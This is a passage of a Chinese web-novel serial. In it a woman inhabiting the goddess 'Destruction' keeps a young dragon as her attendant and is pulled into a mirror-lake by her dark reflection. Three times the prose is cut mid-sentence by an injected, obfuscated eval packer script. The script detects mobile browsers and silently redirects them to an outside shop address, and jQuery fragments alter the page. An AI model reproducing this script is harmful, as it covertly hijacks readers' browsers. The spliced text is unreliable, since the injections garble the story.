在世间走得久了,身边难免汇聚各式各样的生灵,有些单纯寻求庇护,有些是真心喜爱,这位神灵毫不在意,仍旧我行我素,最多,对犬族多些耐心。 宋言估摸着这个神是毛绒控,对待蛇和蛟,她明显没有这种耐心。 哦,也有例外。 宋言微微低头,一条小龙缠在她膝头,进入换鳞期,它身上秃了一片,似乎它也觉得自己这样子不太好看,试图偷偷爬走。 然后这条狗狗祟祟的小龙就被揪住尾巴拎了起来。 这位神灵揪得毫无章法,小龙被揪住尾巴,身体不自觉绷紧,鳞片簌簌落下,一地鎏金残片。 她提着这条小龙走出小屋,屋外,芙蕖灼灼似火,开满整个庭院,有风拂过,莲香四溢。 芙蕖池中,几条未成年的龙族在莲叶间嬉闹。水底,各色鳞片落了一地,龙族通常会在水底渡过换鳞期,失去鳞片保护,它们就像几条长长的肉虫。 小龙被她放在池边,几步之遥是熟悉的池水和同族,它却迟迟没有移动。 宋言嘴唇张开,她第一次听到这位说话:“赤莲与龙族相生相息,你该去找你的同族。” 小龙依旧没有移动。 宋言听见这位神灵叹了口气,把小龙从地上拎了起来,放进芙蕖池里。 小龙在水池中慢慢沉下去,水波摇晃,引来几条龙族,围着新加入的同伴交头接耳。 小龙赌气似地钻入水中,径直游向莲池深处。 几天后,宋言在床榻上发现了可疑的金色鳞片。 床底露出一截细长的金色尾巴,宋言拽着尾巴把小龙从床底揪出来,几日不见,它好像瘦了一圈,体表长出淡粉色的鳞片,有点软,碰一下就缩成一团。 龙族的换鳞期一般持续三个月到半年,先脱落老旧的鳞片,再长出脆弱的新鳞,等到新生的鳞片逐渐坚硬、成熟,整个换鳞期才正式结束。 这条小龙花了五天,在水底把身上老旧的鳞片一片片咬下来,池水冲走金色的血渍,它身上慢慢长出淡粉色的鳞片。 这位神灵并不清楚这些,但也知道对于龙族来说,这个换鳞期短得不正常,她伸出手,在触碰到小龙前堪堪停下。 宋言感觉她有些犹豫,如果把它揪起来,放回莲池,它会不会又痛得缩成一团? 宋言难得从这位神灵身上感知到近似于“怜悯”的情绪。 小龙在床上躺了一个月,淡粉色的鳞片慢慢过渡成金色,它似乎不用吃喝,只窝在角落里盘成小小一团,只在宋言来的时候抬头看一眼。 宋言起初以为,它在鳞片长好后就会离开,至少莲池里那几条换鳞期结束的龙是这样的。 直到有一天她在床榻角落里,发现了一个蛋。 金灿灿的,大约两斤重,小龙缠在这枚蛋上,像一条波光粼粼的缎带。 一瞬间,宋言心底和这位神灵升起了同一种情绪——荒唐、太荒唐了! 先不说为什么公龙能下蛋,就算能下,为什么会由一条还没完全结束换鳞期的小龙下? 那个摸过宋言头,自称阿姊的女人闻讯而来。 “噢,看来对龙族繁衍秩序的更改是有效的,神话生物生育艰难,不像其他种族需要对繁衍做出性别限制。”女人观察了一阵龙蛋,陈述道。 宋言听见自己问:“可是这条龙还没进入成熟期。就算你是秩序本身,也无法更改刻在神树上的底层秩序。” 女人打断了她的话:“毁灭,你真的觉得它还没有成熟吗?” 宋言猛地转头,看向盘在蛋上的小龙。 准确的说,是“毁灭”看向那条金灿灿的小龙。 在两位神灵面前,那条小龙终于从蛋上抬起头,乌沉沉的眼瞳水汽氤氲,它在宋言面前第一次开口:“对不起,但是我不想被您扔掉,您通常只留幼崽在身边。” 进入成熟期的生灵,会被她放归自然,不过这和扔掉,在结果上没有什么区别。 “秩序”悠悠道:“所以你隐藏了自己已经进入成熟期的事实?我猜你的换鳞期比以往痛苦,一直维持幼体状态,对一条刚成熟的龙来说无异于削足适履。” 那双漆黑的眼瞳沉了下去。 “秩序”在一个小本子上写了几行字,又道:“要不是昨日,龙族族长找我,要求更改龙族繁衍秩序,让公龙也能一键下蛋,我们小妹险些就要被你诓骗过去......也许我该把你们族长叫来,她总是抱怨族龙到处乱跑,惹出一堆烂摊子,还老找不见龙影。” 这下,它的犄角也低了下去。 “秩序”摇了摇头,她见惯了这种做派,并不会因此心软,抬起手打算把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13328330|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当事龙和那枚蛋一起带走。 宋言在中途拦住了她。 宋言嘴唇动了动,道:“它回到龙族会受很多刑罚吗?我看犬族会罚不听话的后辈受鞭刑。” “秩序”微微挑眉:“也许是打一顿或者关禁闭,总归龙族子嗣艰难,不会太为难后辈。” “你是想留它做神侍吗?”“秩序”闻弦音而知雅意,帮她出起主意,“我早觉得你这边缺人,想送几个神侍过来,你却只偏爱犬族,可惜犬族族长是个老顽固,后辈都管得死死的,说什么也不肯放出去。” “你要是留它做神侍,龙族族长那边我去说,她乐得少管几条龙,你要不要?” 小龙仰头,黑曜石般的眼睛望着她,什么都没说,又什么都说了。 宋言沉思片刻,心念一动,垂在身侧的手指微微弹了下。 她长久不说话,“秩序”心念微转,便明白了她的意思:“也是,这孩子毕竟太小了,刚刚成年,性情不稳定,你要是喜欢龙族,我改日同龙族族长说。” 在神树构造的世界,成为神侍是求不来的好事,说不准哪天便能蒙神树恩泽,一人得道,鸡犬升天。 小龙的头颅又低了下去,那双乌沉沉的眼瞳微微抬起一点,水汽朦胧,偷偷看宋言。 “秩序”继续道:“既然你不要,我便把它送回龙族了,刚成年的龙族还是有长辈看管比较好。” 小龙整条龙连蛋,一齐被她端起,小龙心如死灰,死死缠在蛋上,被带出门的瞬间,仍然忍不住回头张望。 宋言没有回头,甚至没有看它一眼,小龙又沉闷地低下了头。 所以说嘛,一旦被发现不是幼崽,就会被丢掉。 回到龙族也没什么不好,顶多是族长太唠叨,生活太无聊,父母都不见龙影,天天要和同族斗殴。 小龙这么想着。 “等一下。” 小龙猛地回头。“秩序”在门口停下脚步。 宋言眼睫快速扑闪了两下,语气有些急促:“还是留下来吧。” “秩序”转过身,认真打量了她几秒,道:“毁灭,你这样子,和以往不太一样。” 她思索片刻,陈述道:“你更有感情了。” 宋言从她手里接过蛋和龙,垂眸道:“这是坏事吗?” “秩序”想了想,摇头:“不一定是坏事,但你的感情复杂而微妙,我看不清,不像机械和生命,祂们两个每天只会互相掐架。” 她轻轻叹了口气,又在小本子上记上一笔:“再过一段时间,第五位神灵也该诞生了,卡巴拉不知道又会发生什么变化。” 宋言抱着蛋,问道:“神树会一直这样结果吗?” “秩序”写字的笔停下,思索道:“也许等这个世界需要的所有神灵都诞生了,它便不会再结果。但我们并不清楚神树的心意。” 宋言又道:“所有神灵诞生以后呢?我们又该如何?” “唔......”“秩序”有些为难,“也许会归于消亡?世间秩序大多如此,盛极必衰,月满则亏,但那是很久之后的事情了,小妹何必着急?” 女人又摸了摸宋言的头,宋言有些想躲,最终却任由她摸了下去。 108. 拾荒者(十三) 108 * 龙族进入成熟期后,可以任意变化外形,这条小龙化形后是一个姿容秀雅的美少年。 不过据小龙自己说,他只是模仿了宋言的外形,作为神侍,一切都应该向神灵看齐。 如果没有庭院的赤莲告密,这个说法确实挑不出什么差错。 “那条小龙啊......他天还没亮就跑到池边,对着水面捏了好久的脸,啧啧,我们姐妹第一次知道,原来眼皮褶皱的宽度、唇角翘起的弧度,都是有讲究的。真是,怪不得毁灭大人偏宠他。” 水波荡漾,芙蕖灼灼似火,花叶间少女指如丹蔻,唇不点而红,眉眼间说不尽的昳丽风流。她只看着自己指尖,道:“大人也该注意些,我们赤莲一族是大人的伴生族,自然事事以大人为先,谁知道那条龙是来做什么的?一副狐媚子样。” 宋言沉默片刻,只好道:“他肯费心思就好。” 少女被这个答案无语到,嗔了宋言一眼,转眼便消失在花叶间。 宋言在这位神灵的身体里呆久了,逐渐能自主行动,她的行动被限制在特定的场景,像是误入别人的记忆,能与记忆中的人交互,却无法扩展边界。 宋言猜测,要等这段记忆结束后,她才能脱离这具身体。 她站在池边,水面平滑如镜,清晰倒映出她的面容,眉眼锋锐,不笑时清静淡漠,如山巅万年不化的冰川。 这不是宋言的脸,也与“秩序”温和慈悲的面容大相径庭。 她盯着水边的倒影,忽然看见水里那张脸对她笑了一下。 宋言怔愣片刻,背后忽然传来一道清朗的少年音。 “毁灭大人,午膳已经好了,大家都在等您......您在听吗?” 少年犹疑地拍了拍宋言的肩,宋言猛地转身,少年好像被吓了一跳,犄角不由自主冒了出来,眼睛瞪得圆圆的,说不出话来。 宋言回过神,摸了摸他的犄角,安抚道:“既然是神侍了,做事大气些,哪有害怕自己侍奉的神的神侍。” 犄角慢慢缩了回去,宋言手下毛茸茸的触感消失,少年摇了摇头:“我没有害怕您。” 他吞吞吐吐道:“我只是......我不想被您丢掉,我不想回龙族。” 宋言这下听懂了,不由失笑:“所以你怕惹我不高兴,我就不要你了,秩序又会把你带回去交给你们族长?” 绯色慢慢爬上少年脖颈,他脸颊红透了,低声道:“他们老找我打架,我不想打架。” 宋言微微点头,心里明白了八成,道:“既然点了你当神侍,你安心当着就是。” 少年犹疑道:“我以为您不喜欢胆子小的侍者。” 宋言已经走出一段,闻言,又回头看了一眼,少年站在原地,乌沉沉的眼瞳望过来,背后满池芙蕖灿烈盛大。 宋言揣摩着这位神灵的心意,回答:“侍者又不是个高危工种,要胆子大干嘛?再说,我看你装小龙骗我的时候胆子挺大。” 宋言继续朝前,往屋内走去,顺口道:“既然大家都在等,别傻站着了,进屋吃饭。” 少年站在池边,头顶的犄角已经褪了下去,生长的地方却传来酥酥麻麻的痛感。 也许不是痛感,只是触觉太敏锐,方才被触摸的地方像被电过一样,才被误以为是痛觉。 少年望着那道渐行渐远的背影,缓缓低下头。 ...... 所谓吃饭,其实就是大家聚集在厅堂里各吃各的。 宋言左右位分别是一只盘靓条顺的金毛犬和一只三花。 金毛犬面前摆着一大碗排骨,三花爪下是一条活鲤鱼。 这是最得宠的两位,远一点的地方,亚成年狮和幼豹盯上了同一块肉,无脚鸟躺在自己的食盘里旁观它们争斗。 倒也热闹。 宋言在主座落座,神灵并不需要进食,但宋言保留了这个习惯,而且吃饭时动物们来得最齐,就连最不理人的三花,也会在这个时候优雅地在主座旁落座。 不过似乎是从她有了神侍之后,三花才越来越不理人的,金毛犬也是,从前宋言借着这段记忆,没少撸狗,但是不知道为什么,这段时间她几乎没看见金毛犬。 宋言觉得可能是孩子大了,有自己的主意了。她从前听宠物医生说,猫狗幼年期和成熟期会有性格上的差异,有些更亲人,有些更独立。 金毛犬小心地瞥她一眼,抬头左右看了看,没人,才蹑手蹑脚地靠近宋言,毛茸茸的脑袋蹭过来,像软乎乎的毛毯。 宋言心中奇怪,但手已经先于思考,摸了上去,金毛犬的脑袋被糟蹋得一塌糊涂,下颚搁在宋言腿上,发出舒服的呼噜声。 于是三花也矜贵地抬起爪子,叩了叩宋言的小腿,宋言干脆把它也抱上来,三花胡须动了动,圆润的琥珀色眼珠睁大,甜蜜蜜地望来,仿佛盛了一汪蜂蜜酒。 它毛绒绒的尾巴勾上宋言的腰,缠了两圈,最后自己打了个蝴蝶结,整只猫咪趴在她腿上,舔了舔露出的一小块皮肤。 那位神侍进入厅堂,看到的就是这样的景象。 他侍奉的神灵并未抬头,自然也没有察觉他的到来。少年很沉得住气,一路走来,先把缠斗在一起的狮豹分开,顺便收拾好被打翻的食碗,最后把混乱中掉到地上的无脚鸟捡起,放回桌上。 他缓缓走近主座,声线平稳:“毁灭大人,外面有人求见。” 回应他的是三花的喵呜声。 宋言忙着招猫逗狗,没有听清他说什么,三花细长的尾巴从她腰间垂下,鞭子一样扫来,在少年面前虚晃一记,仿佛挑衅。 少年却表情都没变,只淡声重复了一遍。 “有人来找?”宋言从温柔乡醒来,脸上多了一点不自然的酡红,不太明显,落在少年眼中却如雪地红梅般刺眼,他垂下眼帘,道:“是,那人在庭院等候,您是这边结束后,再去见他吗?” 宋言思索片刻,解开缠在腰上的蝴蝶结:“现在见吧,我看看还有什么剧情点要走。” 少年退后半步,低头道:“是。” 庭院四周,朵朵芙蕖灼灼似火,一个青衣公子站在水边,垂眸望着水里的倒影。 感受到身后的威压,他徐徐转身,脸上扣着个狐狸面具,眼睛细长,半面悲,半面喜,是狐族特有的悲喜面。 这人声音仿佛从很远的山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340292|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上传来,听不真切:“听闻毁灭大人在选神侍,我家族长欲为大人分忧,特送来族中适龄子弟画像,供大人挑选。” 他从背上的帆布袋里取出几筒卷轴,徐徐展开。 画中人翩翩如玉,各有千秋,宋言看了一眼画卷,视线上移,落到那张悲喜面上,顿时明白了来者的用意。 人家自荐枕席,他荐的是东席。 宋言侧过脸,问道:“你觉得如何?” 身侧少年怔愣片刻,才明白是在询问自己的意见,低声道:“您的侍者,自然该看您喜不喜欢。” 宋言眨了眨眼,随即道:“你是我的神侍,不该为我分忧吗?” 少年沉默许久,小声道:“狐族惯于轻浮,容貌虽好,恐生事端。但......如果您只是看重他们的容貌,也不是不可以接受。” 宋言点了点头,转而看向青衣男子,道:“既是供我挑选,为何你不摘下面具?” 青衣人淡淡笑了下,声音空灵:“在下容貌丑陋,恐怕污了您的眼。” 宋言盯着那张悲喜面,语气矜傲:“可我只想看看你长什么样子,看画像多没意思,不如看真人来得爽快。” 青衣人沉默片刻,慢慢抬起手,逐渐碰到脑后系着的飘带,却在将要解下时停下。 他微微抬头,语气实了些:“大人想看真人,不如随我去狐族,族中青年才俊都十分仰慕大人,届时不论是真人,还是我的面具,都可以为大人解下。” 宋言没想到可以开出新地图,一时意动,就要随青衣人离开,却被一点轻微的力道拽住袖角。 少年抬起乌沉沉的眼瞳,轻声询问:“大人午膳都不用,就随他去狐族吗?” 宋言本来就不饿,加上实在好奇这个新地图会开出什么,哪里想得起午膳。少年见她神色,登时便明白了,攥住袖角的手指一根根松开,他道:“那我为大人清出几间屋舍,您晚上若是在狐族留宿,也请派玄鸟传信,否则三花和金毛会一直等您。” 少年垂下眼帘,看不清神情,宋言却莫名觉得那双眼睛里有三分委屈七分不甘,虽然不知道是为什么,但她心里仍旧像被小猫爪子挠了一下。 那点猫抓似的感觉稍纵即逝,青衣人飘飘渺渺的声音传来,宋言想了想,还是跟了上去,衣袂翩跹,轻纱浮动。 一片飘带拂过少年鼻尖,他微微抬手,似乎想抓住那根飘带,却在将要碰到时停下。 神侍也只是侍者,没有决定主人去哪的权力。 同样的道理,他在许多年前就已经明白。 少年手指修长,在空中虚无地捞了一把,血管在近乎透明的皮肤下泛着淡淡的紫色,像冰原下暗涌的河流。 他的手被另一人抓住。 少年猛地抬眼。 宋言眼睛弯了弯,那双浅淡的,琥珀色的眼睛盛着几分笑,整张脸如半融化的冰雪,霎时生动起来。 “跟我一起去吧,要不了多久,我就带你回来。” 她道。 少年漆黑的眼睛闪了闪,跟上宋言的步子,走得很平稳,乌发垂落到腰间,也不见晃动。 他此时的心跳却如擂鼓,几乎要从胸腔跳出来。 109. 拾荒者(十四) 109 * “小心些。” 宋言牵着少年,远远跟在青衣人身后。 密林之中,地上遍布深深浅浅的水坑,水中偶尔映出她和少年的倒影。 少年含糊应了声,只盯着眼前的飘带,乌发丝丝缕缕垂下,间隙露出一双黑曜石般的眼。 这双眼如完美切割成十六面的萤石,无论从哪面看去,都剔透无比,光滑如镜,每一面都映着同一个倒影。 他眼里只有这个人。 密林里除了鸟雀声,便只有他们的脚步声,宋言忽然问道:“你叫什么?好像你一直没有名字。” 三花叫三花,金毛叫金毛,宋言都没觉得不对,但一个活生生的人站在面前,没名字总说不过去。 少年久久没有回答。 宋言思考片刻,有了一个猜想:“所以你真的没有名字啊。” 少年微微点头:“龙族成年后族长赐名,幼年时便通过颜色区分彼此......黑的叫小黑,红的叫小红。” 他面上爬上一抹羞赧,后半句声音越来越低,几乎要听不见。 宋言摩挲着下巴,思索道:“那你该有个名字,你成年了。” 少年旋即道:“请大人赐名。” 宋言愣了下,她本意是找来龙族族长,完成这个近似于成年礼的仪式。不过硬要说的话,这位毁灭大人论层级,是比龙族族长高的,让她赐名,似乎也没什么问题。 宋言犹豫道:“你想叫什么?” 少年垂眸道:“任凭大人心意。” “那就有些麻烦了......”宋言轻轻叹了口气,“我从前养过金鱼,也养过狗,前者按照品种起名,后者嘛,统一叫旺财。” 宋言安抚他道:“算了,日后再取吧,我想想,让我好好想想。” 少年比她稍稍矮些,宋言见他低着头,模样乖觉,便忍不住摸了摸少年的头,乌发浓密,绸缎般顺滑,她感觉手心又有什么毛茸茸的东西冒出来,小猫爪子一样在她手心轻挠了下,旋即就被主人控制着缩回去。 宋言不禁叹了口气,心里盘算那位毁灭大人是如何给侍者取名的,总不会和她一样是个取名废吧。 他们说话有些久,青衣人声音遥遥传来,环佩叮当,空灵悠远。 “大人,狐族就在眼前。” 密林行至尽头,坑坑洼洼的灌木丛消失不见,参天古木止步于那道天然分界线。 那是一个巨大的天坑。 坑底蓄满了水,湖水清透,能一眼望见坑底散落的砂石。 青衣人已经走到湖水中央,水漫到他胸口,他声音从坑底传来:“狐族生于幽谷,族外设有屏障,水下,便是狐族栖身之地。” 天坑上半绿草如茵,下半湖水如镜,宋言下到一半,在水边停下。 湖面扰动,她的倒影随之摇晃。 少年动作比她慢些,摸索着沿岸突起的岩石,才慢慢下到水边,见宋言久久不动,他询问道:“大人,我们要下去吗?” 宋言弯腰,素白的手伸入水中,掬了一捧水,清凉澄澈,水从指缝间泄下,倒影碎成一片一片。 少年试了试水温,小声道:“好凉的水。” 湖水冰凉刺骨,很快,他霜白的皮肤上浮起一抹绚烂的霞色,顺着指尖蔓延到掌根,淡紫的血管在这抹嫣红映衬下,竟显得无比妖异。 这画面颇具观赏性,他的手肌理细腻,本就是再合适不过的画布,凸起的关节泛着淡淡的粉,皮肉包裹骨骼,随着他的动作起起伏伏,宋言忍不住想到,这双手要是陷在柔软的羽绒被里,应当是完美的摄影对象。 “大人,您真的要下去吗?水很凉。” 少年的话唤回宋言的思绪。 湖中央,青衣人已经消失不见。宋言此次出门本就不是为了狐族,一路走来,经过花木葳蕤的平野,山间小径,直到重重密林,宋言发觉,这个世界似乎没有尽头。 一切都生机勃勃,繁茂昌盛。 宋言不禁思索,是否这个世界的生机都由神树延伸而出,树根所及之处,便是世界的边界。 宋言站在水边,水中映出她淡漠的面容,衣袂翻飞,素衣若雪,远远望去,便如一对双生子,一人立于水上,一人匿于水下。 少年等了许久,仍没有等到回答,只好道:“大人,您在听吗?” 宋言微微点头,停顿片刻,她多说了几句:“我在等那个狐族,他自顾自下了水,按理说,我没下去,他该回来寻。” 宋言循着“毁灭”的记忆前行,这位神灵所见,便是她所见,今日既然有狐族的剧情,那么后面肯定有重要的事情发生,她不在场,这件事便无法发生。 所以她笃定即使她不下水,这件该发生在狐族的事情也会发生。 但这件事最奇怪的一点其实是青衣人的态度,既赶着往她身边塞人,却无丝毫恭迎的姿态。 看秩序的言行,她们在这个世界的地位应当很高,不该一个狐族族长就能在毁灭面前拿乔。 宋言如此想着,又忍不住想到进入天赋塔前的四扇门,系统说代表四条命途,每一条都有对应的神灵。宋言当时还腹诽神灵这么少,打包全家桶都不够,现在看来,可能是其余神灵根本没有机会出生。 “大人,已经一炷香了。”少年拽了拽她袖角,“您真的要一直等下去吗?” 清风徐来,水面荡起层层涟漪,宋言思索片刻,道:“那便不等了,我们回去。” 少年肉眼可见地高兴起来,点了点头,一手攀着岩石,一边拎着袍角,免得被水濡湿。 水中宋言的脸悄然破碎,碎金浮沫般散开,宋言看着自己的脸碎成细碎的残片,被水波推得很远。 须臾,水面稍稍恢复平静,又从水底浮上一个新的倒影,神情淡漠地看着宋言。 “她”忽然朝宋言眨了眨右眼,露出一个俏皮的笑。 下一瞬,一只苍白的手从水中伸出,把宋言直直拖了下去。 ?! 身后传来“噗通”一声水响,少年猛地回头,动作先于思考,他飞扑上去,拽住宋言衣袖。 他手里只剩下一截素白的丝绢。 水面又荡起层层涟漪,波心摇晃,镜面霎时破碎,无数细小的棱片散开,被水波推得很远很远。 他久久凝视着水面,手里攥着那截丝绢,指尖发青发紫。 ...... ...... 宋言醒来,见到的第一个人是秩序。 少年站在墙角的阴影处,眼帘垂下,似是已经这样站了很久。 他一只手背在身后,似是攥着什么东西。 宋言缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362472|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓收回目光,抬眼望向床前的女人:“水下是什么东西?” 秩序神情复杂,犹豫良久,开口前回身望了一眼。 屋里还有第三个人。 少年即刻领会她的意思,转身欲走。 宋言叫住他:“过来听。” 她声音不大,带着溺水之人特有的沉闷,嗓子眼像被粘腻的水草堵住,有些沙哑:“既然是我的侍者,你便必定要面对这些东西,或者我换个侍者。” 少年一怔,在原地站住,刺眼的阳光从门外透进来,落在他肩头,他整张脸却仍在阴影里,显得眉眼轮廓更加出色,似春柳眠棠,秾丽无比。 他听到宋言道:“把门关上,离我近些。” 烈日被挡在门外,少年站在床边,离宋言有三尺远,一只手仍背在身后,只盯着素锦床单,似乎能从这些花纹里研究出大名堂。 秩序微微挑眉,看了眼身侧的少年,道:“你这小神侍倒是挑得不错,你掉进去,是他不顾性命把你捞出来,否则我从神树下求来的浆露都不知道给谁灌。” 宋言微微皱眉,秩序的用词已经能说明问题。 “我不是落水吗?”宋言若有所思地望着少年,“为何要不顾性命?还有......我是被水里的东西拉下去的,那东西好像是我自己的影子。” 秩序摇了摇头:“那不是水,拉你下去的也不是你的影子......或者你要这么说也可以。” 她思索片刻,才道:“你听过[秽]吗?” 宋言眨了眨眼:“秽?” 秩序缓缓道:“阴阳相生,明暗相成,神树创世之初,觉得世间不该有污秽之物,便将万物之暗面封入地下,以树根镇压,地下相当于另一个世界。” “而[秽],就是被封存的暗面。” “你不是落水,因为那根本不是水,是通向另一个世界的镜子,你的[秽]可以通过这面镜子打破神树的镇压,回到地面。” 秩序道:“告诉我,你为什么会去照那面镜子。” 宋言眉心一动,旋即明白过来:“我被狐族摆了一道。” “狐族?”秩序眉头皱起,“可是狐族几日前已经全族迁徙去青丘了,那是神树枝叶延伸出的一个小世界,和卡巴拉不在一个维度。” 须臾,她反应过来:“你的意思是,早就有[秽]穿过水镜,来到地面,还试图把你骗下去?” 宋言靠着背后的软垫,呼吸间充斥着浓重的水腥味,她垂下眼帘,低低咳嗽几声,眼尾拖曳出两道昳丽的红痕。 她深深吸了口气,道:“我第一次见到水中另一个‘我’,是在庭院的莲池边。” “水面映出我的倒影,但那更像是另一个我,那天我的侍者在背后叫我的时候,我看到......那个影子朝我笑了一下。” 忽然被提起,少年忍不住抬眼,偷偷看宋言,榻上女子衣袖如云般垂落,霜白肌肤浮上似有似无的嫣红,神情依旧淡漠,眼睫微微颤动,忽然向少年这边望来。 四目相对。 少年耳根悄悄爬上一线殷红,宋言那一眼没什么情绪,好像只是在询问他的看法,他下意识板正身子,道:“大人,我那时在水中的确看到了另一个您,但是......那个人和您是不一样的。” 他没有丝毫犹豫:“那是个失败的赝品。” 110. 拾荒者(十五) 110 * 他的话掷地有声,回忆起水下生物的面容时,他用了“不太干净”四个字来形容。 “那就是你的[秽]。”秩序接话道。 “万物生而有阴阳二面,即使你生于神树,也不例外。况且于你而言,你与你的秽相生相息,无法割离。” 宋言皱眉:“什么叫无法割离?” 秩序道:“你为万物寂灭而生,我则是为世界重建而生,世界倒塌而又重建,这是我们之间的无法割舍。但就灵性而言,你和你的秽更是无法分离。” “世界按照神树构建的秩序运行,因此我诞生,以维护它建立的秩序。但你不一样,你生来就是为了毁灭它建立的秩序。你的阳面和阴面本就一体,只要你还在地面,被神树封在地下的秽就可以通过你摆脱封印。” 秩序叹了口气,有些无奈:“我知道你为什么会碰到秽了,因为你就是一面行走的镜子。” 这话简直像是在暗示是宋言带来了灾难。 但宋言观她神色,反而觉得她只是在陈述客观事实,她本也不太在意自己是不是灾难的源头,只想找出解决问题的办法,思考道:“所以我该怎么做?” 秩序耸了耸肩,回答:“只好回神树重来一遍了。你重新出生一遍,同时,你的秽会被神树吸收,它不会再次进入地下,而是会被直接封在神树中。” “你借用第五位的神格重生,原本的神格会被彻底封在神树里。” 宋言垂下眼帘,似在思索,少年忽然发问:“那样的话,毁灭大人还会记得重生前的事情吗?” “如果失去了记忆、喜好,乃至原本的神格,毁灭大人再次醒来,还会是同一位神灵吗?” 屋内静默无声,宋言骤然抬眼,另外两人视线在他身上交错,少年毫无知觉地站在床边,径直说下去。 他平静道:“所以这并不是重生,这只是在解决秽。” 秩序淡声道:“如果不这样解决秽,你有其他办法吗?” 少年抿唇,默然不语。 宋言喝了口茶,等两人说完,才慢吞吞道:“不要吵了,事已至此,就这样吧,我何时重回神树?” 秩序理了理裙摆,又恢复庄重肃穆的样子,道:“七日一个小周天,离下一个小周天还有五日,届时你可进入神树。” 宋言点头,算是同意了她的主意。 秩序走后,屋内又只剩下宋言两人。 宋言有些困乏,咽喉底下又涌上一阵泥腥味,她低低咳嗽几声,面前忽而多了一碗汤药。 少年一只手捧着药碗,递给她,一只手仍背在身后:“白泽一族善药理,院里常年不见人的那只白泽,听闻大人病了,送来的汤药。” 宋言接过那碗药,里面是深褐色的汤汁,散发出淡淡的苦味,她本着好歹能压一压胃里那阵恶心的念头,喝了一口,竟然是甜的。 是夹杂着花香和药香的甜味。 宋言有些惊讶:“竟然不苦。” 少年眼瞳漆黑,里面映出她诧异的神情,解释道:“我想大人应当不爱吃苦,便问白泽能不能加糖,她说随我,我便试着加了些花蜜。” 少年仰头看她:“您喜欢吗?” 宋言点头,少年脸上旋即绽开一个笑,如层层叠叠的花瓣舒展开,眉目浮上一层绚丽的光晕,灿烂极了。 汤汁还剩半碗,宋言端着碗凑近嘴边,汤汁晃动,深褐色的汤面上,又倒映出她的脸。 宋言看到她嘴唇动了动,耳边响起空灵飘渺的声音。 紧接着是“哐当”一声脆响。 汤汁洒了一床,碗跌落在地,骨碌碌滚到门口,终于停下。 宋言瞳孔睁大,后脑勺“哐”地一下砸到背后软垫上,好像无数根针一齐扎下,传来绵密的钝痛,耳边那道声音幽灵般响起。 “你在害怕我吗?” “我是另一个你啊,姐姐。” “我不是秽啊,你不要信他们的,我们天生就是一体......” 无数梦呓般的声音蚂蚁般爬入宋言耳蜗,她虚脱般躺在床上,被动接受倒灌入耳的嘶吼。 疼痛、撕裂、苦楚。 那个声音说地下好热,好痛,炽热的岩浆在她身上燃烧,凛冬转瞬即至,她身上流淌的岩浆又被冻成冰块,她被压在千万吨重的冰山下,从心脏开始冻住,血液一点一点结霜。 可是为什么要让她这么痛,这么冷。 明明她们该同享神格,同时出生。 宋言身上一阵寒一阵热,脑中突然塞进一连串画面,心想我怎么知道,你该骂神树,骂创建这些秩序的神,而不是逮着我诉苦。 怎么看都像是欺负老实人。 ...... “小妹?” 宋言撩起眼皮,眼前又是秩序肃穆的脸。 少年站在床边,脸色不太好看,看样子是他把秩序又叫回来的,宋言低头,被子又换了一床新的,她竟然毫无知觉。 秩序神情肃穆:“按理说,它不该这么快又让你晕一次。” 宋言低头,心想可能是因为我不是原装货,没见过你们地下那么大阵仗。 秩序见她不说话,只好自己说下去:“你搬来我这儿,离神树开启只有五天,不要再出岔子。” 宋言没想到她的解决办法是把自己挪到眼皮底下看着,不过也是,树挪死人挪活,宋言是无所谓,顺口想答应,话出口前习惯性看了少年一眼。 这一看,就愣住了。 少年抬起浓密的眼睫,直勾勾望过来,眉尖微微蹙起,似笼着一层轻薄的烟气。 宋言心里的小猫爪子好像又活了过来。 话到嘴边,宋言一骨碌咽下去,改口道:“你那边还有些什么人?” 秩序回忆道:“不多,龙族族长最近丢了几个难管教的孩子在我那,还有就是我那几个侍者了,都是花啊草的,你平日也见不着。” 宋言又看了一眼少年,心中顿生计较,怪不得他要蹙眉,先前他说惯常被族中子弟殴打,想来是不愿去的。 宋言想起这事,顺口道:“那是该好好管教,我听我的侍者说,他幼时常被族人殴打,龙族力量蛮横,老内斗也不是个事。” 宋言觉得就算看在那碗甜药和他下水救她的份上,她也该帮他出口气,却没想秩序听了这番话,眼神难得颤了颤。 她神情复杂地瞥了眼少年,又回到宋言身上,语气竟然犹豫起来:“你点他当神侍的时候,我放心不下,曾问过龙族族长,你知道她是怎么和我说的吗?” 宋言眨了眨眼:“怎么说?” 